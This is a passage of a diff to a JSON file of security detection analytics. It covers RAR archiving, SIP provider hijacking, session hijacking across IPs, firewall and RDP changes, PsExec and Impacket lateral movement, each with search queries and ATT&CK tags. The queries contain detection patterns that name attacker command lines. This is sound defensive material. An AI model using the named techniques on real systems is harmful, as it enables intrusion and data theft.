`security_content_ctime(lastTime)` | `windows_archive_collected_data_via_powershell_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Archive Collected Data via Powershell on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1560", - "mitre_attack_technique": "Archive Collected Data", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "Axiom", - "Dragonfly", - "FIN6", - "Ke3chang", - "Lazarus Group", - "Leviathan", - "LuminousMoth", - "Patchwork", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Archive Collected Data via Rar", - "description": "The following analytic identifies the execution of RAR utilities to archive files on a system. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, GUIDs, and command-line arguments. This activity is significant as threat actors, including red-teamers and malware like DarkGate, use RAR archiving to compress and exfiltrate collected data from compromised hosts. If confirmed malicious, this behavior could lead to the unauthorized transfer of sensitive information to command and control servers, posing a severe risk to data confidentiality and integrity.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=\"Rar.exe\" OR Processes.original_file_name = \"Rar.exe\" AND Processes.process = \"*a*\" Processes.process = \"* -ep1*\" Processes.process = \"* -r*\" Processes.process = \"* -y*\" Processes.process = \"* -v5m*\" Processes.process = \"* -m1*\" by Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.process_guid Processes.parent_process_name Processes.parent_process Processes.parent_process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_archive_collected_data_via_rar_filter`", - "tags": { - "analytic_story": [ - "DarkGate Malware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a Rar.exe commandline used in archiving collected data in $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1560.001", - "mitre_attack_technique": "Archive via Utility", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT3", - "APT33", - "APT39", - "APT41", - "APT5", - "Akira", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "CopyKittens", - "Earth Lusca", - "FIN13", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gallmaker", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Sowbug", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1560", - "mitre_attack_technique": "Archive Collected Data", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "Axiom", - "Dragonfly", - "FIN6", - "Ke3chang", - "Lazarus Group", - "Leviathan", - "LuminousMoth", - "Patchwork", - "menuPass" - ] - } - ] - } } ], "external_reference": [ @@ -325085,135 +232783,6 @@ "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" ] - }, - { - "name": "Windows Registry SIP Provider Modification", - "description": "The following analytic detects modifications to the Windows Registry SIP Provider. It leverages Sysmon Event ID 7 to monitor registry changes in paths and values related to Cryptography Providers and OID Encoding Types. This activity is significant as it may indicate an attempt to subvert trust controls, a common tactic for bypassing security measures and maintaining persistence. If confirmed malicious, an attacker could manipulate the system's cryptographic functions, potentially leading to unauthorized access, data theft, or other damaging outcomes. Review the modified registry paths and concurrent processes to identify the attack source.", - "search": "| tstats `security_content_summariesonly` count values(Registry.registry_key_name) as registry_key_name values(Registry.registry_path) as registry_path min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Registry where Registry.registry_path IN (\"*\\\\SOFTWARE\\\\Microsoft\\\\Cryptography\\\\Providers\\\\*\", \"*\\\\SOFTWARE\\\\Microsoft\\\\Cryptography\\\\OID\\\\EncodingType*\", \"*\\\\SOFTWARE\\\\WOW6432Node\\\\Microsoft\\\\Cryptography\\\\Providers\\\\*\", \"*\\\\SOFTWARE\\\\WOW6432Node\\\\Microsoft\\\\Cryptography\\\\OID\\\\EncodingType*\") Registry.registry_value_name IN (\"Dll\",\"$DLL\") by Registry.dest , Registry.user Registry.registry_value_name, Registry.registry_value_data | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `drop_dm_object_name(Registry)`| `windows_registry_sip_provider_modification_filter`", - "tags": { - "analytic_story": [ - "Subvert Trust Controls SIP and Trust Provider Hijacking" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Registry SIP Provider Modification detected on $dest$.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1553.003", - "mitre_attack_technique": "SIP and Trust Provider Hijacking", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows SIP Provider Inventory", - "description": "The following analytic identifies all SIP (Subject Interface Package) providers on a Windows system using PowerShell scripted inputs. It detects SIP providers by capturing DLL paths from relevant events. This activity is significant because malicious SIP providers can be used to bypass trust controls, potentially allowing unauthorized code execution. If confirmed malicious, this activity could enable attackers to subvert system integrity, leading to unauthorized access or persistent threats within the environment. Analysts should review for new and non-standard paths to identify potential threats.", - "search": "`subjectinterfacepackage` Dll=*\\\\*.dll | stats count min(_time) as firstTime max(_time) as lastTime values(Dll) by Path host| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `windows_sip_provider_inventory_filter`", - "tags": { - "analytic_story": [ - "Subvert Trust Controls SIP and Trust Provider Hijacking" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "host", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A list of SIP providers on the system is available. Review for new and non-standard paths for SIP providers on $host$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1553.003", - "mitre_attack_technique": "SIP and Trust Provider Hijacking", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows SIP WinVerifyTrust Failed Trust Validation", - "description": "The following analytic detects failed trust validation attempts using Windows Event Log - CAPI2 (CryptoAPI 2). It specifically triggers on EventID 81, which indicates that \"The digital signature of the object did not verify.\" This detection leverages the CAPI2 Operational log to identify instances where digital signatures fail to validate. Monitoring this activity is crucial as it can indicate attempts to execute untrusted or potentially malicious binaries. If confirmed malicious, this activity could allow attackers to bypass security controls and execute unauthorized code, leading to potential system compromise.", - "search": "`capi2_operational` EventID=81 \"The digital signature of the object did not verify.\" | xmlkv UserData_Xml | stats count min(_time) as firstTime max(_time) as lastTime by Computer, UserData_Xml | rename Computer as dest | `windows_sip_winverifytrust_failed_trust_validation_filter`", - "tags": { - "analytic_story": [ - "Subvert Trust Controls SIP and Trust Provider Hijacking" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Failed trust validation via the CryptoAPI 2 on $dest$ for a binary.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1553.003", - "mitre_attack_technique": "SIP and Trust Provider Hijacking", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -325693,210 +233262,7 @@ "Event ID": null, "Event Name": "Packet capture" } - ], - { - "name": "ASL AWS Concurrent Sessions From Different Ips", - "description": "The following analytic identifies an AWS IAM account with concurrent sessions originating from more than one unique IP address within a 5-minute span. This detection leverages AWS CloudTrail logs, specifically the `DescribeEventAggregates` API call, to identify multiple IP addresses associated with the same user session. This behavior is significant as it may indicate a session hijacking attack, where an adversary uses stolen session cookies to access AWS resources from a different location. If confirmed malicious, this activity could allow unauthorized access to sensitive corporate resources, leading to potential data breaches or further exploitation.", - "search": " `amazon_security_lake` api.operation=DescribeEventAggregates \"http_request.user_agent\"!=\"AWS Internal\" \"src_endpoint.domain\"!=\"health.amazonaws.com\" | eval time = time/pow(10,3) | `security_content_ctime(time)` | bin span=5m time | stats values(src_endpoint.ip) as src_ip dc(src_endpoint.ip) as distinct_ip_count values(cloud.region) as cloud.region by time api.operation actor.user.account_uid actor.user.uid | where distinct_ip_count > 1 | rename cloud.region as region, http_request.user_agent as user_agent, actor.user.account_uid as aws_account_id, actor.user.uid as user | `asl_aws_concurrent_sessions_from_different_ips_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover", - "Compromised User Account" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ has concurrent sessions from more than one unique IP address in the span of 5 minutes.", - "risk_score": 42, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1185", - "mitre_attack_technique": "Browser Session Hijacking", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "AWS Concurrent Sessions From Different Ips", - "description": "The following analytic identifies an AWS IAM account with concurrent sessions originating from more than one unique IP address within a 5-minute window. It leverages AWS CloudTrail logs, specifically the `DescribeEventAggregates` event, to detect this behavior. This activity is significant as it may indicate a session hijacking attack, where an adversary uses stolen session cookies to access AWS resources from a different location. If confirmed malicious, this could allow unauthorized access to sensitive corporate resources, leading to potential data breaches or further exploitation within the AWS environment.", - "search": " `cloudtrail` eventName = DescribeEventAggregates src_ip!=\"AWS Internal\" | bin span=5m _time | stats values(userAgent) values(eventName) values(src_ip) as src_ip dc(src_ip) as distinct_ip_count by _time user_arn | where distinct_ip_count > 1 | `aws_concurrent_sessions_from_different_ips_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover", - "Compromised User Account" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user_arn", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user_arn$ has concurrent sessions from more than one unique IP address $src_ip$ in the span of 5 minutes.", - "risk_score": 42, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1185", - "mitre_attack_technique": "Browser Session Hijacking", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Azure AD Concurrent Sessions From Different Ips", - "description": "The following analytic detects an Azure AD account with concurrent sessions originating from multiple unique IP addresses within a 5-minute window. It leverages Azure Active Directory NonInteractiveUserSignInLogs to identify this behavior by analyzing successful authentication events and counting distinct source IPs per user. This activity is significant as it may indicate session hijacking, where an attacker uses stolen session cookies to access corporate resources from a different location. If confirmed malicious, this could lead to unauthorized access to sensitive information and potential data breaches.", - "search": " `azure_monitor_aad` properties.authenticationDetails{}.succeeded=true category=NonInteractiveUserSignInLogs | rename properties.* as * | bucket span=30m _time | stats count min(_time) as firstTime max(_time) as lastTime dc(src_ip) AS unique_ips values(src_ip) as src_ip values(appDisplayName) as appDisplayName by user | where unique_ips > 1 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_concurrent_sessions_from_different_ips_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover", - "Compromised User Account" - ], - "asset_type": "Azure Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user$ has concurrent sessions from more than one unique IP address in the span of 5 minutes.", - "risk_score": 42, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1185", - "mitre_attack_technique": "Browser Session Hijacking", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "O365 Concurrent Sessions From Different Ips", - "description": "The following analytic identifies user sessions in Office 365 accessed from multiple IP addresses, indicating potential adversary-in-the-middle (AiTM) phishing attacks. It detects this activity by analyzing Azure Active Directory logs for 'UserLoggedIn' operations and flags sessions with more than one associated IP address. This behavior is significant as it suggests unauthorized concurrent access, which is uncommon in normal usage. If confirmed malicious, the impact could include data theft, account takeover, and the launching of internal phishing campaigns, posing severe risks to organizational security.", - "search": " `o365_management_activity` Workload=AzureActiveDirectory Operation=UserLoggedIn | stats min(_time) as firstTime max(_time) as lastTime values(src_ip) as ips values(user_agent) as user_agents by Operation, user, SessionId | where mvcount(ips) > 1 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_concurrent_sessions_from_different_ips_filter`", - "tags": { - "analytic_story": [ - "Office 365 Account Takeover" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "ips", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user$ has logged in with the same session id from more than one unique IP address", - "risk_score": 42, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1185", - "mitre_attack_technique": "Browser Session Hijacking", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [] - } - ] - } - } + ] ], "external_reference": [ [ @@ -328218,2450 +235584,7 @@ "Event ID": "21, 23, 25, 41", "Event Name": "RDP Logs" } - ], - { - "name": "Allow Inbound Traffic By Firewall Rule Registry", - "description": "The following analytic detects suspicious modifications to firewall rule registry settings that allow inbound traffic on specific ports with a public profile. It leverages data from the Endpoint.Registry data model, focusing on registry paths and values indicative of such changes. This activity is significant as it may indicate an adversary attempting to grant remote access to a machine by modifying firewall rules. If confirmed malicious, this could enable unauthorized remote access, potentially leading to further exploitation, data exfiltration, or lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\System\\\\CurrentControlSet\\\\Services\\\\SharedAccess\\\\Parameters\\\\FirewallPolicy\\\\FirewallRules\\\\*\" Registry.registry_value_data = \"*|Action=Allow|*\" Registry.registry_value_data = \"*|Dir=In|*\" Registry.registry_value_data = \"*|LPort=*\") BY _time span=1h Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid Registry.dest Registry.user | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `allow_inbound_traffic_by_firewall_rule_registry_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "NjRAT", - "PlugX", - "Prohibited Traffic Allowed or Protocol Mismatch", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious firewall allow rule modifications were detected via the registry on endpoint $dest$ by user $user$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021.001", - "mitre_attack_technique": "Remote Desktop Protocol", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT39", - "APT41", - "APT5", - "Axiom", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "HEXANE", - "Kimsuky", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "OilRig", - "Patchwork", - "Silence", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Allow Inbound Traffic In Firewall Rule", - "description": "The following analytic detects a suspicious PowerShell command that allows inbound traffic to a specific local port within the public profile. It leverages PowerShell script block logging (EventCode 4104) to identify commands containing keywords like \"firewall,\" \"Inbound,\" \"Allow,\" and \"-LocalPort.\" This activity is significant because it may indicate an attacker attempting to establish remote access by modifying firewall rules. If confirmed malicious, this could allow unauthorized access to the machine, potentially leading to further exploitation and data exfiltration.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*firewall*\" ScriptBlockText = \"*Inbound*\" ScriptBlockText = \"*Allow*\" ScriptBlockText = \"*-LocalPort*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `allow_inbound_traffic_in_firewall_rule_filter`", - "tags": { - "analytic_story": [ - "Prohibited Traffic Allowed or Protocol Mismatch" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious firewall modification detected on endpoint $dest$ by user $user$.", - "risk_score": 3, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021.001", - "mitre_attack_technique": "Remote Desktop Protocol", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT39", - "APT41", - "APT5", - "Axiom", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "HEXANE", - "Kimsuky", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "OilRig", - "Patchwork", - "Silence", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Detect PsExec With accepteula Flag", - "description": "The following analytic identifies the execution of `PsExec.exe` with the `accepteula` flag in the command line. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs and command-line arguments. This activity is significant because PsExec is commonly used by threat actors to execute code on remote systems, and the `accepteula` flag indicates first-time usage, which could signify initial compromise. If confirmed malicious, this activity could allow attackers to gain remote code execution capabilities, potentially leading to further system compromise and lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_psexec` Processes.process=*accepteula* by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)`| `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `detect_psexec_with_accepteula_flag_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "BlackByte Ransomware", - "CISA AA22-320A", - "DHS Report TA18-074A", - "DarkGate Malware", - "DarkSide Ransomware", - "HAFNIUM Group", - "IcedID", - "Rhysida Ransomware", - "SamSam Ransomware", - "Sandworm Tools", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ running the utility for possibly the first time.", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.002", - "mitre_attack_technique": "SMB/Windows Admin Shares", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT28", - "APT3", - "APT32", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "FIN13", - "FIN8", - "Fox Kitten", - "Ke3chang", - "Lazarus Group", - "Moses Staff", - "Orangeworm", - "Sandworm Team", - "Threat Group-1314", - "ToddyCat", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Enable RDP In Other Port Number", - "description": "The following analytic detects modifications to the registry that enable RDP on a machine using a non-default port number. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the registry path \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" and the \"PortNumber\" value. This activity is significant as attackers often modify RDP settings to facilitate lateral movement and maintain remote access to compromised systems. If confirmed malicious, this could allow attackers to bypass network defenses, gain persistent access, and potentially control the compromised machine.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path=\"*HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\\WinStations\\\\RDP-Tcp*\" Registry.registry_value_name = \"PortNumber\") BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `enable_rdp_in_other_port_number_filter`", - "tags": { - "analytic_story": [ - "Prohibited Traffic Allowed or Protocol Mismatch", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "RDP was moved to a non-standard port on $dest$ by $user$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Executable File Written in Administrative SMB Share", - "description": "The following analytic detects executable files (.exe or .dll) being written to Windows administrative SMB shares (Admin$, IPC$, C$). It leverages Windows Security Event Logs with EventCode 5145 to identify this activity. This behavior is significant as it is commonly used by tools like PsExec/PaExec for staging binaries before creating and starting services on remote endpoints, a technique often employed for lateral movement and remote code execution. If confirmed malicious, this activity could allow an attacker to execute arbitrary code remotely, potentially compromising additional systems within the network.", - "search": "`wineventlog_security` EventCode=5145 RelativeTargetName IN (\"*.exe\",\"*.dll\") ObjectType=File ShareName IN (\"\\\\\\\\*\\\\C$\",\"\\\\\\\\*\\\\IPC$\",\"\\\\\\\\*\\\\admin$\") AccessMask= \"0x2\" | stats min(_time) as firstTime max(_time) as lastTime count by EventCode ShareName RelativeTargetName ObjectType AccessMask src_user src_port IpAddress | `security_content_ctime(firstTime)` | `executable_file_written_in_administrative_smb_share_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Data Destruction", - "Graceful Wipe Out Attack", - "Hermetic Wiper", - "IcedID", - "Industroyer2", - "Prestige Ransomware", - "Trickbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "$src_user$ dropped or created an executable file in known sensitive SMB share. Share name=$ShareName$, Target name=$RelativeTargetName$, and Access mask=$AccessMask$", - "risk_score": 70, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.002", - "mitre_attack_technique": "SMB/Windows Admin Shares", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT28", - "APT3", - "APT32", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "FIN13", - "FIN8", - "Fox Kitten", - "Ke3chang", - "Lazarus Group", - "Moses Staff", - "Orangeworm", - "Sandworm Team", - "Threat Group-1314", - "ToddyCat", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Impacket Lateral Movement Commandline Parameters", - "description": "The following analytic identifies the use of suspicious command-line parameters associated with Impacket tools, such as `wmiexec.py`, `smbexec.py`, `dcomexec.py`, and `atexec.py`, which are used for lateral movement and remote code execution. It detects these activities by analyzing process execution logs from Endpoint Detection and Response (EDR) agents, focusing on specific command-line patterns. This activity is significant because Impacket tools are commonly used by adversaries and Red Teams to move laterally within a network. If confirmed malicious, this could allow attackers to execute commands remotely, potentially leading to further compromise and data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=cmd.exe (Processes.process = \"*/Q /c * \\\\\\\\127.0.0.1\\\\*$*\" AND Processes.process IN (\"*2>&1*\",\"*2>&1*\")) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `impacket_lateral_movement_commandline_parameters_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "CISA AA22-277A", - "Data Destruction", - "Graceful Wipe Out Attack", - "Industroyer2", - "Prestige Ransomware", - "Volt Typhoon", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious command line parameters on $dest$ may represent a lateral movement attack with Impackets tools", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.002", - "mitre_attack_technique": "SMB/Windows Admin Shares", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT28", - "APT3", - "APT32", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "FIN13", - "FIN8", - "Fox Kitten", - "Ke3chang", - "Lazarus Group", - "Moses Staff", - "Orangeworm", - "Sandworm Team", - "Threat Group-1314", - "ToddyCat", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.003", - "mitre_attack_technique": "Distributed Component Object Model", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1047", - "mitre_attack_technique": "Windows Management Instrumentation", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "Indrik Spider", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "MuddyWater", - "Mustang 